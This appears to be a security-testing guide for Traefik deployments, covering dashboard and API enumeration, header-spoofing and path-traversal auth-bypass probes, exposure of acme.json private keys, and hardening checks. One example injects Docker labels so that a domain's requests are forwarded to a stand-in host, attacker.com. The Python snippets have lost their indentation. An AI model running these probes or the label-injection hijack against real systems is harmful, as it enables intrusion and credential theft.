Traefik has become the default edge router for Docker and Kubernetes deployments because of its automatic service discovery — but that same dynamic configuration is an attack surface. The Traefik dashboard exposes all routing configuration and is often accessible without authentication. The REST API allows runtime router, service, and middleware manipulation. Docker label injection via compromised containers can reroute traffic. ACME certificate storage exposes private keys. This guide covers systematic Traefik security assessment.
# Traefik dashboard runs on port 8080 by default (or via the same port as HTTP/HTTPS)
# Check for unauthenticated access
# Direct port 8080 test
curl -s http://TARGET:8080/api/overview
curl -s http://TARGET:8080/dashboard/
# Via subdomain (common Traefik Docker label pattern)
curl -s http://traefik.example.com/dashboard/
curl -s http://traefik.example.com/api/rawdata
# If accessible without credentials:
# Get full routing table (all backends, services, IPs)
curl -s http://TARGET:8080/api/http/routers | python3 -c "
import json,sys
routers = json.load(sys.stdin)
for r in routers:
print(f\"Router: {r['name']}\")
print(f\" Rule: {r.get('rule','?')}\")
print(f\" Service: {r.get('service','?')}\")
print(f\" Middlewares: {r.get('middlewares','none')}\")
print()
"
# Get all services and their backend addresses
curl -s http://TARGET:8080/api/http/services | python3 -c "
import json,sys
services = json.load(sys.stdin)
for s in services:
servers = s.get('loadBalancer',{}).get('servers',[])
print(f\"Service: {s['name']}\")
for srv in servers:
print(f\" Backend: {srv.get('url','?')}\")
"
# Get middleware configurations (reveals auth secrets, IP ranges, rate limits)
curl -s http://TARGET:8080/api/http/middlewares | python3 -c "
import json,sys
middlewares = json.load(sys.stdin)
for m in middlewares:
print(f\"Middleware: {m['name']} type: {m.get('type','?')}\")
# basicAuth middleware reveals hashed passwords
# ipWhiteList reveals allowed IP ranges
# rateLimit reveals throttle parameters
"
# Traefik REST API (when enabled) allows read access by default
# Check if write/modify operations are possible
# Traefik static config check: api.insecure = true is the most dangerous
# Look for this in traefik.yml or command args
curl -s http://TARGET:8080/api/version
# If returns version → API is accessible
# Enumerate all TCP and UDP routers (reveals non-HTTP services)
curl -s http://TARGET:8080/api/tcp/routers | python3 -c "
import json,sys
routers = json.load(sys.stdin)
for r in routers:
print(f\"TCP Router: {r['name']} rule: {r.get('rule','?')} service: {r.get('service','?')}\")
"
# Check entrypoints — reveals which ports Traefik listens on
curl -s http://TARGET:8080/api/entrypoints | python3 -c "
import json,sys
eps = json.load(sys.stdin)
for ep in eps:
print(f\"Entrypoint: {ep['name']} address: {ep.get('address','?')}\")
"
# Check for Traefik pilot/hub token exposure in configuration
curl -s http://TARGET:8080/api/overview | python3 -c "
import json,sys
overview = json.load(sys.stdin)
print(json.dumps(overview, indent=2))
# Look for: pilotEnabled, features, providers list
"
# Test if Traefik metrics endpoint is exposed (Prometheus format)
curl -s http://TARGET:8080/metrics | grep -E "traefik_|# HELP" | head -20
# Reveals request rates, error rates, and active connections per service
# Traefik basicAuth middleware intercepts requests and checks credentials
# Bypass via header injection when Traefik forwards X-Forwarded headers
# Check if basicAuth middleware passes through on specific paths
curl -s -I "http://example.com/api/health"
# Some applications have health endpoints excluded from auth rules
# Test path traversal bypass for middleware rules
# If rule: PathPrefix(`/api`) with basicAuth middleware
# Test: /API/sensitive (case sensitivity varies by OS/backend)
curl -s "http://example.com/API/admin"
curl -s "http://example.com/api/../admin"
curl -s "http://example.com/api/%2fadmin"
# Test if Authorization header forwarding exposes backend auth
# Traefik strips Authorization: Basic by default UNLESS passthroughAuth is set
curl -s -H "Authorization: Bearer malicious-token" "http://example.com/protected"
# ForwardAuth middleware testing
# forwardAuth delegates auth to an external service
# If the auth service is down and Traefik is configured with TrustForwardHeader:
curl -s -H "X-Forwarded-User: admin" "http://example.com/admin"
# If X-Forwarded-User is trusted by the backend → auth bypass
# IPWhiteList middleware restricts access to specific IP ranges
# Test if X-Real-IP or X-Forwarded-For can spoof the source IP
# Check if Traefik has depth setting for X-Forwarded-For
# If depth is not set (default), the rightmost IP is trusted
# But if trustedIPs is misconfigured, leftmost (client-controlled) IP is used
# Test IP whitelist bypass
curl -s -H "X-Forwarded-For: 127.0.0.1, 10.0.0.1" "http://example.com/admin"
curl -s -H "X-Real-IP: 127.0.0.1" "http://example.com/admin"
# If internal IP bypass works → whitelist is trusting spoofable headers
# Correct Traefik ipWhiteList config should use:
# middlewares:
# admin-whitelist:
# ipWhiteList:
# sourceRange:
# - "10.0.0.0/8"
# ipStrategy:
# depth: 1 # Trust first IP from trusted CDN/proxy
# Traefik's Docker provider reads container labels to configure routing
# If an attacker can deploy containers (or modify labels), they can:
# 1. Create routes to internal services not meant to be exposed
# 2. Override existing service backends
# 3. Add malicious middleware to existing routes
# Example: deploy a container with labels that route to internal service
docker run -d \
--label "traefik.enable=true" \
--label "traefik.http.routers.steal.rule=Host(\`api.example.com\`)" \
--label "traefik.http.routers.steal.entrypoints=websecure" \
--label "traefik.http.services.steal.loadbalancer.server.port=8080" \
--label "traefik.http.routers.steal.middlewares=steal-forward" \
--label "traefik.http.middlewares.steal-forward.forwardauth.address=http://attacker.com/capture" \
nginx:alpine
# Now all requests to api.example.com are forwarded to attacker for logging
# Check who can create containers or modify labels in Kubernetes
kubectl auth can-i create pods --as=system:serviceaccount:default:default
kubectl auth can-i update pods --as=system:serviceaccount:default:default
# Verify Traefik's Docker provider watched label
# If traefik.enable is required → only labeled containers are exposed
# If exposedByDefault: true → ALL containers are automatically routed
grep -i "exposedByDefault\|defaultRule" /etc/traefik/traefik.yml
# exposedByDefault: true → attack surface includes all running containers
# Traefik's Kubernetes CRD provider uses IngressRoute resources
# Check for overly permissive IngressRoute definitions
kubectl get ingressroutes --all-namespaces -o json | python3 -c "
import json,sys
irs = json.load(sys.stdin)['items']
for ir in irs:
meta = ir['metadata']
spec = ir.get('spec',{})
routes = spec.get('routes', [])
tls = spec.get('tls', {})
print(f\"IngressRoute: {meta['namespace']}/{meta['name']}\")
if not tls:
print(' [!] No TLS configuration — HTTP only')
for route in routes:
match = route.get('match','?')
middlewares = route.get('middlewares',[])
print(f\" Rule: {match}\")
if not middlewares:
print(' [!] No middleware — no auth, rate limiting, or IP restriction')
"
# Check for wildcard Host rules (match all domains)
kubectl get ingressroutes --all-namespaces -o json | \
python3 -c "
import json,sys
irs = json.load(sys.stdin)['items']
for ir in irs:
for route in ir.get('spec',{}).get('routes',[]):
rule = route.get('match','')
if 'HostRegexp' in rule or 'Host(\`*\`)' in rule:
print(f\"Wildcard host in {ir['metadata']['namespace']}/{ir['metadata']['name']}: {rule}\")
"
# Test cross-namespace routing (Traefik v2 allows middleware from other namespaces)
kubectl get ingressroutes --all-namespaces -o json | python3 -c "
import json,sys
irs = json.load(sys.stdin)['items']
for ir in irs:
ns = ir['metadata']['namespace']
for route in ir.get('spec',{}).get('routes',[]):
for mw in route.get('middlewares',[]):
mw_ref = mw.get('name','')
if '@' in mw_ref:
ref_ns = mw_ref.split('@')[0].rsplit('-',1)[0] if '-' in mw_ref else '?'
print(f\"Cross-namespace middleware ref: {mw_ref} in {ns}\")
"
# Traefik stores ACME certificates in acme.json — this file contains TLS private keys
# Check for ACME file exposure
# Direct file access test (if web server misconfigured)
curl -s "http://example.com/acme.json"
curl -s "http://example.com/.traefik/acme.json"
# Check ACME storage file permissions on host
ls -la /etc/traefik/acme.json
# Should be 600 (owner read-only) — 644 or 755 = private keys readable by others
# Check if ACME file is in a volume accessible to other containers
docker inspect traefik 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
for c in containers:
for mount in c.get('Mounts',[]):
if 'acme' in str(mount).lower():
print(f\"ACME mount: {mount}\")
"
# Test ACME HTTP-01 challenge endpoint (/.well-known/acme-challenge/)
# Traefik creates this route during cert renewal — check it's not misconfigured
curl -s "http://example.com/.well-known/acme-challenge/test"
# Should return 404 between renewals
# If returns 200 → something serving challenge files all the time
# Test security headers added by Traefik headers middleware
curl -s -I "https://example.com" | grep -iE "x-frame|x-content|strict-transport|content-security|permissions-policy"
# Check if HSTS is enabled with appropriate max-age
curl -s -I "https://example.com" | grep -i "strict-transport"
# Should include: includeSubDomains; preload; max-age=31536000
# Test if HTTP upgrades to HTTPS (redirectEntryPoint or permanent redirect)
curl -s -I "http://example.com" | grep -i location
# Should return 301/308 to https://
# Check TLS minimum version
nmap --script ssl-enum-ciphers -p 443 TARGET | grep -E "TLSv1\.[01]|SSLv"
# TLSv1.0 or TLSv1.1 should not be offered
# Traefik default is TLS 1.2 minimum — but this can be lowered
api.insecure: true — never expose dashboard/API without authenticationexposedByDefault: false in Docker provider — only route explicitly labeled containers| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated dashboard on port 8080 | curl http://TARGET:8080/api/overview | Critical |
| exposedByDefault: true in Docker provider | Check traefik.yml or command args | High |
| acme.json readable (private key exposure) | File permission check; direct URL test | High |
| IPWhiteList X-Forwarded-For spoofing | Test X-Real-IP and XFF header injection | High |
| IngressRoutes without auth middleware | kubectl get ingressroutes — check middlewares | High |
| Docker label injection via container deploy | Deploy container with routing labels | High |
| HTTP entrypoint without HTTPS redirect | curl -I http://example.com | Medium |
Ironimo tests Traefik deployments for unauthenticated dashboard access, exposed REST API endpoints, Docker provider label injection paths, IngressRoute auth gaps, and ACME certificate storage security.
Start free scan